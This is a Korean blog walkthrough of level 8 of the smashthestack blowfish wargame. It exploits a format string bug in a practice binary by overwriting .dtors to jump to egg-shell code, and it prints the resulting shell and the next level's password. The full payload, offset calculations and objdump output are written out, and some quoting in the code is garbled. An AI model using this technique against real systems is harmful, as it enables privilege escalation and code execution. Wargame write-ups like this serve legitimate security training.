blowfish.smashthestack.org – Level8 풀이

Level8 문제 소스를 보면 다음과 같다.

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {

 char buffer[64];
 char *pointer = changeme;

 if(argc < 3)
 return -1;

 strncpy(buffer, argv[3], sizeof(buffer)-1);

 printf(\n\tpointer: );
 printf(pointer);

 printf(\n\tinput: );
 printf(buffer);
 printf(\n\n);

 return 0;
}

printf(buffer); 와 같이 printf() 함수를 저렇게 사용하였을시에 FSB(Format String Bug)가 일어난다.
일단 공격 전에 필요한 정보들을 알아보도록 하자.

  1. 스택과의 거리 계산

    
    level8@blowfish:/levels/tmp/gggg$ /levels/level8 B B AAAA%x%x%x%x%x%x%x%x
    
    pointer: changeme
    input: AAAAbfffdbbd2b656e6f6e290bfffdbaa804856441414141```

%x를 8개 입력하였을 때 \x41(A)가 출력함을 확인하였다.

  1. 리턴주소 찾기
    .dtors를 이용하여 공격하도록 하자.
    .dtors에 대한 내용은 여기를 참고하도록 하자 (http://hdp.null2root.org/system/amadohack_fs.txt)
level8@blowfish:/levels/tmp/gggg$ objdump -s -j .dtors /levels/level8

/levels/level8: file format elf32-i386

Contents of section .dtors:
 8049668 ffffffff 00000000 ........ 

.dtors 주소가 0x08049668 이므로 Cleanup 함수의 위치는 4byte를 더한 0x0804966C가 된다.

  1. 에그쉘 실행 및 계산
    먼저 에그쉘을 실행하도록 하자.
level8@blowfish:/levels/tmp/gggg$ ./egg 
Using address: 0xbfffd9f8

에그쉘 주소가 0xbfffd9f8로 나왔다. 이 에그쉘 주소를 반으로 나누어 덮어쓸 것이다.
1bfff - d9f8 = 58887

55800(d9f8) - 16 - 56 = 55728
16 = AAAA \x6c\x96\x04\x08 BBBB \x6e\x96\x04\x08
56 = %8x * 7

완성된 코드는 다음과 같다.

python -c print 'AAAA\x6c\x96\x04\x08BBBB\x6e\x96\x04\x08' + '%8x'*7 + '%55728c%x%58887c%x'

이제 공격을 해보도록 하자.

sh-3.1$ /levels/level8 A A python -c print 'AAAA\x6c\x96\x04\x08BBBB\x6e\x96\x04\x08' + '%8x'*7 + '%55728c%n%58887c%n'

 pointer: changeme
 input: AAAAl?BBBBn?bfffd1ad 8656e6f6e 29 0bfffd19a 8048564 

.
.
.
sh-3.1$ id
uid=1010(level8) gid=1010(level8) euid=1011(level9) groups=1010(level8)
sh-3.1$ cat /pass/level9
Ur_t3h_sh1t

답글 남기기

이메일 주소를 발행하지 않을 것입니다. 필수 항목은 *(으)로 표시합니다